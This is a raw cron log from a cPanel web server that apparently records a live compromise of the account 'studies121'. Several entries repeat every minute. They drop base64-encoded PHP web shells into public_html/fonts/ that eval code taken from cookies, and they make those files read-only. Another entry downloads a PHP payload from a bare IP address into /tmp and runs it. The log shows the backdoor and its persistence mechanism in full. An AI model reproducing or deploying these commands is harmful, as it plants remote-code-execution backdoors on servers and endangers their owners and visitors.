Sep  3 08:47:01 ip-184-168-122-23 CROND[5986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:47:01 ip-184-168-122-23 CROND[5985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:47:01 ip-184-168-122-23 CROND[5987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:48:02 ip-184-168-122-23 CROND[6088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:48:02 ip-184-168-122-23 CROND[6089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:48:02 ip-184-168-122-23 CROND[6090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:48:02 ip-184-168-122-23 CROND[6092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:48:02 ip-184-168-122-23 CROND[6093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:49:01 ip-184-168-122-23 CROND[6204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:49:01 ip-184-168-122-23 CROND[6206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:49:01 ip-184-168-122-23 CROND[6207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:49:01 ip-184-168-122-23 CROND[6209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:50:01 ip-184-168-122-23 CROND[6348]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 08:50:01 ip-184-168-122-23 CROND[6347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:50:01 ip-184-168-122-23 CROND[6352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:50:01 ip-184-168-122-23 CROND[6355]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:50:01 ip-184-168-122-23 CROND[6354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:50:01 ip-184-168-122-23 CROND[6357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:50:01 ip-184-168-122-23 CROND[6358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:50:01 ip-184-168-122-23 CROND[6353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:50:01 ip-184-168-122-23 CROND[6360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:51:01 ip-184-168-122-23 CROND[6542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:51:01 ip-184-168-122-23 CROND[6544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:51:01 ip-184-168-122-23 CROND[6545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:51:01 ip-184-168-122-23 CROND[6546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:52:01 ip-184-168-122-23 CROND[6704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:52:01 ip-184-168-122-23 CROND[6709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:52:01 ip-184-168-122-23 CROND[6706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:52:01 ip-184-168-122-23 CROND[6707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:52:01 ip-184-168-122-23 CROND[6708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:53:01 ip-184-168-122-23 CROND[6807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:53:01 ip-184-168-122-23 CROND[6808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:53:01 ip-184-168-122-23 CROND[6809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:53:01 ip-184-168-122-23 CROND[6812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:54:01 ip-184-168-122-23 CROND[6954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:54:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:54:01 ip-184-168-122-23 CROND[6957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:54:01 ip-184-168-122-23 CROND[6960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:54:01 ip-184-168-122-23 CROND[6958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:55:01 ip-184-168-122-23 CROND[7108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:55:01 ip-184-168-122-23 CROND[7109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:55:01 ip-184-168-122-23 CROND[7110]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:55:01 ip-184-168-122-23 CROND[7111]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:55:01 ip-184-168-122-23 CROND[7112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:55:01 ip-184-168-122-23 CROND[7113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:56:01 ip-184-168-122-23 CROND[7278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:56:01 ip-184-168-122-23 CROND[7279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:56:01 ip-184-168-122-23 CROND[7282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:56:01 ip-184-168-122-23 CROND[7283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:56:01 ip-184-168-122-23 CROND[7281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:57:01 ip-184-168-122-23 CROND[7428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:57:01 ip-184-168-122-23 CROND[7429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:57:01 ip-184-168-122-23 CROND[7431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:57:01 ip-184-168-122-23 CROND[7435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:58:01 ip-184-168-122-23 CROND[7547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:58:01 ip-184-168-122-23 CROND[7551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:58:01 ip-184-168-122-23 CROND[7552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:58:01 ip-184-168-122-23 CROND[7553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:58:01 ip-184-168-122-23 CROND[7555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:59:01 ip-184-168-122-23 CROND[7692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:59:01 ip-184-168-122-23 CROND[7693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:59:01 ip-184-168-122-23 CROND[7695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
